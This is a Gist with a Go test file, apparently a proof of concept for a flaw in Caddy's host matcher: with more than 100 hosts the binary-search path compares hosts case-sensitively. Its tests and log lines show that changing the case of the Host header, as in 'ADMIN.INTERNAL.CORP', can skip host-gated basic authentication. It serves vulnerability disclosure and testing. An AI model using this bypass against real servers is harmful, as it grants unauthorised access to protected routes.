Skip to content

Instantly share code, notes, and snippets.

@moscowchill
Created February 9, 2026 08:05
Show Gist options
  • Select an option

  • Save moscowchill/760813658259870c461cae170ecc512e to your computer and use it in GitHub Desktop.

Select an option

Save moscowchill/760813658259870c461cae170ecc512e to your computer and use it in GitHub Desktop.
PoC: Caddy MatchHost case-sensitive binary search bypass (>100 hosts)
package caddyhttp
import (
"context"
"fmt"
"net/http"
"testing"
"github.com/caddyserver/caddy/v2"
)
// TestHostMatcherCaseSensitivityBypass demonstrates that the binary search
// fast path (used when len(MatchHost) > 100) is case-sensitive, while the
// linear scan slow path (used when len(MatchHost) <= 100) is case-insensitive.
// This means host-based access controls can be bypassed by varying the case
// of the Host header when >100 hosts are configured.
func TestHostMatcherCaseSensitivityBypass(t *testing.T) {
// Target host we're trying to match
const targetHost = "secret.example.com"
// Helper to build a MatchHost of the desired size, always including targetHost
buildMatcher := func(size int) MatchHost {
m := make(MatchHost, size)
m[0] = targetHost
for i := 1; i < size; i++ {
m[i] = fmt.Sprintf("host-%d.example.com", i)
}
return m
}
// Helper to create a request with a given Host header
makeReq := func(host string) *http.Request {
req := &http.Request{Host: host}
repl := caddy.NewReplacer()
ctx := context.WithValue(req.Context(), caddy.ReplacerCtxKey, repl)
req = req.WithContext(ctx)
return req
}
// ---- Test 1: Small list (50 entries) — linear scan, case-insensitive ----
t.Run("small_list_exact_case", func(t *testing.T) {
m := buildMatcher(50)
if err := m.Provision(caddy.Context{}); err != nil {
t.Fatal(err)
}
matched, err := m.MatchWithError(makeReq("secret.example.com"))
if err != nil {
t.Fatal(err)
}
if !matched {
t.Fatal("small list: exact case should match, but didn't")
}
t.Log("PASS: small list matches exact case")
})
t.Run("small_list_upper_case", func(t *testing.T) {
m := buildMatcher(50)
if err := m.Provision(caddy.Context{}); err != nil {
t.Fatal(err)
}
matched, err := m.MatchWithError(makeReq("SECRET.EXAMPLE.COM"))
if err != nil {
t.Fatal(err)
}
if !matched {
t.Fatal("small list: upper case should match (EqualFold), but didn't")
}
t.Log("PASS: small list matches upper case (case-insensitive via EqualFold)")
})
// ---- Test 2: Large list (150 entries) — binary search, case-SENSITIVE ----
t.Run("large_list_exact_case", func(t *testing.T) {
m := buildMatcher(150)
if err := m.Provision(caddy.Context{}); err != nil {
t.Fatal(err)
}
matched, err := m.MatchWithError(makeReq("secret.example.com"))
if err != nil {
t.Fatal(err)
}
if !matched {
t.Fatal("large list: exact case should match, but didn't")
}
t.Log("PASS: large list matches exact case")
})
t.Run("large_list_upper_case_BYPASS", func(t *testing.T) {
m := buildMatcher(150)
if err := m.Provision(caddy.Context{}); err != nil {
t.Fatal(err)
}
matched, err := m.MatchWithError(makeReq("SECRET.EXAMPLE.COM"))
if err != nil {
t.Fatal(err)
}
if matched {
t.Log("large list: upper case matched — bug is NOT present (fixed)")
} else {
t.Log("BUG CONFIRMED: large list (>100 entries) does NOT match 'SECRET.EXAMPLE.COM'")
t.Log("while small list (<= 100) DOES match it. Binary search is case-sensitive!")
t.Log("This means host-based access controls can be bypassed by varying Host case.")
}
// The RFC-correct behavior is case-insensitive matching.
// With the bug present, this will be false (no match).
// We log instead of failing so the test output clearly shows the discrepancy.
})
t.Run("large_list_mixed_case_BYPASS", func(t *testing.T) {
m := buildMatcher(150)
if err := m.Provision(caddy.Context{}); err != nil {
t.Fatal(err)
}
matched, err := m.MatchWithError(makeReq("Secret.Example.Com"))
if err != nil {
t.Fatal(err)
}
if matched {
t.Log("large list: mixed case matched — bug is NOT present")
} else {
t.Log("BUG CONFIRMED: 'Secret.Example.Com' also fails to match in large list")
}
})
// ---- Summary: direct comparison showing behavioral difference ----
t.Run("behavioral_difference_summary", func(t *testing.T) {
smallMatcher := buildMatcher(50)
largeMatcher := buildMatcher(150)
if err := smallMatcher.Provision(caddy.Context{}); err != nil {
t.Fatal(err)
}
if err := largeMatcher.Provision(caddy.Context{}); err != nil {
t.Fatal(err)
}
req := makeReq("SECRET.EXAMPLE.COM")
smallResult, _ := smallMatcher.MatchWithError(req)
largeResult, _ := largeMatcher.MatchWithError(req)
t.Logf("Host: SECRET.EXAMPLE.COM")
t.Logf(" Small list (50 entries, linear scan): matched=%v", smallResult)
t.Logf(" Large list (150 entries, binary search): matched=%v", largeResult)
if smallResult && !largeResult {
t.Log("VULNERABILITY CONFIRMED: Same host matches with small list but NOT large list.")
t.Log("An attacker can bypass host-based access controls by:")
t.Log(" 1. Targeting a server with >100 host matcher entries")
t.Log(" 2. Sending Host: SECRET.EXAMPLE.COM instead of secret.example.com")
t.Log(" 3. The host matcher fails to match, skipping any route-level auth")
} else if smallResult && largeResult {
t.Log("Bug appears to be FIXED — both paths are case-insensitive.")
} else {
t.Logf("Unexpected result: small=%v large=%v", smallResult, largeResult)
}
})
}
// TestHostMatcherCaseSensitivityAuthBypass shows how the case-sensitivity bug
// can be used to bypass authentication that's gated on a host matcher.
// This simulates the scenario where basicauth is configured for specific hosts.
func TestHostMatcherCaseSensitivityAuthBypass(t *testing.T) {
const protectedHost = "admin.internal.corp"
// Build a large host list (>100) including the protected host
matcher := make(MatchHost, 150)
matcher[0] = protectedHost
for i := 1; i < 150; i++ {
matcher[i] = fmt.Sprintf("site-%d.corp", i)
}
if err := matcher.Provision(caddy.Context{}); err != nil {
t.Fatal(err)
}
makeReq := func(host string) *http.Request {
req := &http.Request{Host: host}
repl := caddy.NewReplacer()
ctx := context.WithValue(req.Context(), caddy.ReplacerCtxKey, repl)
req = req.WithContext(ctx)
return req
}
// Simulate route matching logic:
// If host matches -> require auth (basicauth middleware would run)
// If host doesn't match -> request passes through without auth
simulateRouteMatch := func(host string) (hostMatched bool) {
req := makeReq(host)
matched, _ := matcher.MatchWithError(req)
return matched
}
t.Run("legitimate_request", func(t *testing.T) {
matched := simulateRouteMatch("admin.internal.corp")
if !matched {
t.Fatal("legitimate lowercase request should be matched and routed to auth")
}
t.Log("PASS: 'admin.internal.corp' -> host matched, auth would be enforced")
})
t.Run("bypass_with_uppercase", func(t *testing.T) {
matched := simulateRouteMatch("ADMIN.INTERNAL.CORP")
if matched {
t.Log("Host matched even with uppercase — auth WOULD be enforced (bug fixed)")
} else {
t.Log("AUTH BYPASS: 'ADMIN.INTERNAL.CORP' does NOT match the host matcher")
t.Log("The request would skip the authenticated route entirely.")
t.Log("If a fallback route serves the same content without auth,")
t.Log("the attacker gets unauthenticated access.")
}
})
t.Run("bypass_with_mixed_case", func(t *testing.T) {
matched := simulateRouteMatch("Admin.Internal.Corp")
if matched {
t.Log("Host matched with mixed case — auth WOULD be enforced (bug fixed)")
} else {
t.Log("AUTH BYPASS: 'Admin.Internal.Corp' also skips the host matcher")
}
})
// Demonstrate the asymmetry with a small list for comparison
t.Run("small_list_comparison", func(t *testing.T) {
smallMatcher := make(MatchHost, 50)
smallMatcher[0] = protectedHost
for i := 1; i < 50; i++ {
smallMatcher[i] = fmt.Sprintf("site-%d.corp", i)
}
if err := smallMatcher.Provision(caddy.Context{}); err != nil {
t.Fatal(err)
}
req := makeReq("ADMIN.INTERNAL.CORP")
matched, _ := smallMatcher.MatchWithError(req)
t.Logf("Same uppercase host with small list (50 entries): matched=%v", matched)
if matched {
t.Log("Small list correctly matches (case-insensitive) — auth would be enforced")
t.Log("This proves the behavioral inconsistency between small and large lists")
}
})
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment